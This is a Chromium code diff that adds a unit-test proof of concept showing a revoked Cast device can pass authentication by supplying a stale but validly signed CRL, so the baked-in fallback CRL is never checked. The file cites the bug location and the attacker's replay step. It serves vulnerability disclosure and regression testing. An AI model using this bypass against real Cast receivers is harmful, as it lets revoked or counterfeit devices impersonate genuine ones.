diff --git a/components/media_router/common/providers/cast/certificate/BUILD.gn b/components/media_router/common/providers/cast/certificate/BUILD.gn index c4e8895eaaef3..8ad5c66965112 100644 --- a/components/media_router/common/providers/cast/certificate/BUILD.gn +++ b/components/media_router/common/providers/cast/certificate/BUILD.gn @@ -2,6 +2,8 @@ # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. +import("//testing/test.gni") + source_set("certificate_reader") { sources = [ "cast_cert_reader.cc", @@ -84,6 +86,7 @@ source_set("unit_tests") { testonly = true sources = [ "cast_cert_validator_unittest.cc", + "cast_crl_fallback_bypass_unittest.cc", "cast_crl_unittest.cc", ] deps = [ @@ -101,3 +104,21 @@ source_set("unit_tests") { # enable the diagnostic by removing this line. configs += [ "//build/config/compiler:no_exit_time_destructors" ] } + +# Standalone POC executable for the stale-CRL-shadows-fallback-CRL bypass. +# This is a minimal test() target so the POC can be built and run without +# pulling in the entirety of components_unittests. +test("cast_crl_fallback_bypass_poc") { + sources = [ "cast_crl_fallback_bypass_unittest.cc" ] + deps = [ + ":certificate", + ":certificate_reader", + ":test_support", + "//base", + "//base/test:run_all_unittests", + "//base/test:test_support", + "//net", + "//testing/gtest", + "//third_party/openscreen/src/cast/common/certificate/proto:certificate_unittest_proto", + ] +} diff --git a/components/media_router/common/providers/cast/certificate/cast_crl_fallback_bypass_unittest.cc b/components/media_router/common/providers/cast/certificate/cast_crl_fallback_bypass_unittest.cc new file mode 100644 index 0000000000000..aa8d23a730851 --- /dev/null +++ b/components/media_router/common/providers/cast/certificate/cast_crl_fallback_bypass_unittest.cc @@ -0,0 +1,208 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// PROOF-OF-CONCEPT: Device-supplied stale-but-valid CRL bypasses Chrome's +// baked-in fallback CRL. +// +// Bug location: +// components/media_router/common/providers/cast/certificate/ +// cast_cert_validator.cc:414 +// +// VerifyDeviceCertUsingCustomTrustStore() only consults `fallback_crl` when +// `crl == nullptr`. If the (attacker-controlled) device supplies ANY CRL that +// is (a) signed by the Cast CRL Root CA and (b) within its +// [not_before, not_after] window, Chrome uses it exclusively and never +// consults the fallback CRL — even though the fallback is newer and lists +// the device's certificate as revoked. +// +// This test demonstrates the bypass using the existing Chromium-shipped test +// PKI (cast_test_root_ca.pem / cast_crl_test_root_ca.pem) and the +// Google-generated, signed CRL bundles inside testsuite/testsuite1.pb. No +// modification of production code is required. All cryptographic checks +// (CRL signature, issuer chain, time-validity) pass through the real +// verification path in cast_crl.cc. + +#include "components/media_router/common/providers/cast/certificate/cast_crl.h" + +#include +#include +#include + +#include "base/files/file_util.h" +#include "base/logging.h" +#include "base/time/time.h" +#include "components/media_router/common/providers/cast/certificate/cast_cert_test_helpers.h" +#include "components/media_router/common/providers/cast/certificate/cast_cert_validator.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/boringssl/src/pki/trust_store_in_memory.h" +#include "third_party/openscreen/src/cast/common/certificate/proto/test_suite.pb.h" + +namespace cast_certificate { +namespace { + +using openscreen::cast::proto::DeviceCertTest; +using openscreen::cast::proto::DeviceCertTestSuite; + +// Descriptions of the two test cases in testsuite1.pb that we reuse. Both use +// the same cert_verification_time_seconds (1466179169), the same test trust +// anchors, and CRLs that are signed by the test Cast CRL Root CA and +// time-valid at that instant. +constexpr char kCaseStaleCrl[] = "Valid cert, valid path, valid empty CRL."; +constexpr char kCaseRevokingCrl[] = + "Valid cert, valid path, valid CRL that revokes the device cert by SPKI " + "hash."; + +bool FindTestCase(const DeviceCertTestSuite& suite, + const std::string& description, + DeviceCertTest* out) { + for (const auto& tc : suite.tests()) { + if (tc.description() == description) { + *out = tc; + return true; + } + } + return false; +} + +// Core demonstration. We construct the EXACT inputs that reach +// VerifyDeviceCertUsingCustomTrustStore() in production +// (cast_auth_util.cc:403, with CRLPolicy::CRL_REQUIRED_WITH_FALLBACK +// hardcoded at cast_auth_util.cc:466), substituting test trust anchors only +// because we do not hold Google's private signing keys. +TEST(CastCrlFallbackBypassPoc, StaleDeviceCrlShadowsNewerFallbackRevocation) { + // ------------------------------------------------------------------------- + // 1. Load the Google-generated, signed test vectors. + // ------------------------------------------------------------------------- + std::string testsuite_raw; + ASSERT_TRUE(base::ReadFileToString( + testing::GetCastCertificateDirectory().AppendASCII( + "testsuite/testsuite1.pb"), + &testsuite_raw)); + DeviceCertTestSuite suite; + ASSERT_TRUE(suite.ParseFromString(testsuite_raw)); + + DeviceCertTest stale_case; // CRL that does NOT revoke the device. + DeviceCertTest revoked_case; // CRL that DOES revoke the device. + ASSERT_TRUE(FindTestCase(suite, kCaseStaleCrl, &stale_case)); + ASSERT_TRUE(FindTestCase(suite, kCaseRevokingCrl, &revoked_case)); + ASSERT_TRUE(stale_case.use_test_trust_anchors()); + ASSERT_TRUE(revoked_case.use_test_trust_anchors()); + + // The (revoked) device's certificate chain — what the attacker presents + // in AuthResponse.client_auth_certificate / intermediate_certificate. + std::vector cert_chain(revoked_case.der_cert_path().begin(), + revoked_case.der_cert_path().end()); + ASSERT_FALSE(cert_chain.empty()); + + // Both test cases use the same verification time. + const base::Time time = testing::ConvertUnixTimestampSeconds( + revoked_case.cert_verification_time_seconds()); + ASSERT_EQ(revoked_case.cert_verification_time_seconds(), + stale_case.cert_verification_time_seconds()); + + // ------------------------------------------------------------------------- + // 2. Set up trust stores (test analogues of the production Cast roots). + // ------------------------------------------------------------------------- + std::unique_ptr cast_root = + testing::ScopedCastTrustStoreConfig::TestCertificates( + "cast_test_root_ca.pem"); + std::unique_ptr crl_trust_store = + testing::LoadTestCert("cast_crl_test_root_ca.pem"); + ASSERT_TRUE(crl_trust_store); + + // ------------------------------------------------------------------------- + // 3. Parse the two CRLs through the REAL verification path + // (cast_crl.cc::VerifyCRL). This confirms both CRLs are signed by the + // Cast CRL Root CA, have a verifiable issuer chain, and are time-valid. + // This is exactly what cast_auth_util.cc:383 does for the device CRL. + // ------------------------------------------------------------------------- + // The "stale" CRL: signed, time-valid, but issued before the device was + // revoked (here: an empty revocation list). In production this is the + // attacker-replayed Google-signed CRL from before revocation time T. + std::unique_ptr device_supplied_crl = + ParseAndVerifyCRLUsingCustomTrustStore(stale_case.crl_bundle(), time, + crl_trust_store.get(), + /*is_fallback_crl=*/false); + ASSERT_NE(nullptr, device_supplied_crl) + << "Precondition: device CRL is well-signed and time-valid."; + + // The "fallback" CRL: a newer CRL that DOES list the device as revoked. + // In production this is kCastFallbackCRLs baked into the Chrome binary + // (cast_auth_util.cc:394). + std::unique_ptr fallback_crl = + ParseAndVerifyCRLUsingCustomTrustStore(revoked_case.crl_bundle(), time, + crl_trust_store.get(), + /*is_fallback_crl=*/false); + ASSERT_NE(nullptr, fallback_crl) + << "Precondition: fallback CRL is well-signed and time-valid."; + + // ------------------------------------------------------------------------- + // 4. CONTROL #1 — fallback CRL would catch the revocation if consulted. + // Device sends NO CRL (response.crl().empty() at cast_auth_util.cc:379). + // Expected: ERR_CERTS_REVOKED_BY_FALLBACK_CRL. + // ------------------------------------------------------------------------- + { + std::unique_ptr ctx; + CastDeviceCertPolicy policy; + CastCertError r = VerifyDeviceCert( + cert_chain, time, &ctx, &policy, /*crl=*/nullptr, fallback_crl.get(), + CRLPolicy::CRL_REQUIRED_WITH_FALLBACK); + LOG(INFO) << "[CONTROL #1] Device sends NO CRL -> " + << CastCertErrorToString(r); + ASSERT_EQ(CastCertError::ERR_CERTS_REVOKED_BY_FALLBACK_CRL, r) + << "Sanity: fallback CRL DOES revoke this device when consulted."; + } + + // ------------------------------------------------------------------------- + // 5. CONTROL #2 — if the device honestly sent the up-to-date CRL, it would + // be rejected by the device CRL itself. + // ------------------------------------------------------------------------- + { + std::unique_ptr ctx; + CastDeviceCertPolicy policy; + CastCertError r = VerifyDeviceCert( + cert_chain, time, &ctx, &policy, fallback_crl.get(), + fallback_crl.get(), CRLPolicy::CRL_REQUIRED_WITH_FALLBACK); + LOG(INFO) << "[CONTROL #2] Device sends fresh CRL -> " + << CastCertErrorToString(r); + ASSERT_EQ(CastCertError::ERR_CERTS_REVOKED, r); + } + + // ------------------------------------------------------------------------- + // 6. THE BUG — device replays a stale-but-valid Google-signed CRL. + // + // cast_cert_validator.cc:414 if (!crl && ...) { ... fallback ... } + // `crl` is non-null, so the fallback branch is skipped. Line 428 then + // checks ONLY the stale CRL, which lacks the revocation. Result: OK. + // + // This means a *revoked* Cast device authenticates as genuine. + // + // A correct implementation would return ERR_CERTS_REVOKED or + // ERR_CERTS_REVOKED_BY_FALLBACK_CRL here. The EXPECT below asserts the + // *vulnerable* behaviour so this test PASSES on the unpatched tree + // (proving the bypass) and FAILS once the bug is fixed. + // ------------------------------------------------------------------------- + { + std::unique_ptr ctx; + CastDeviceCertPolicy policy; + CastCertError r = VerifyDeviceCert( + cert_chain, time, &ctx, &policy, device_supplied_crl.get(), + fallback_crl.get(), CRLPolicy::CRL_REQUIRED_WITH_FALLBACK); + LOG(INFO) << "[ EXPLOIT ] Device sends stale CRL -> " + << CastCertErrorToString(r) + << " (fallback CRL containing the revocation was IGNORED)"; + EXPECT_EQ(CastCertError::OK, r) + << "If this expectation FAILS, the vulnerability has been fixed: " + << "the validator now consults the fallback CRL even when a valid " + << "device CRL is supplied. Got: " << CastCertErrorToString(r); + + // The asymmetry, in one line: sending NOTHING is rejected; sending a + // well-behaved-but-old CRL is accepted. + ASSERT_NE(CastCertError::ERR_CERTS_REVOKED_BY_FALLBACK_CRL, r); + ASSERT_NE(CastCertError::ERR_CERTS_REVOKED, r); + } +} + +} // namespace +} // namespace cast_certificate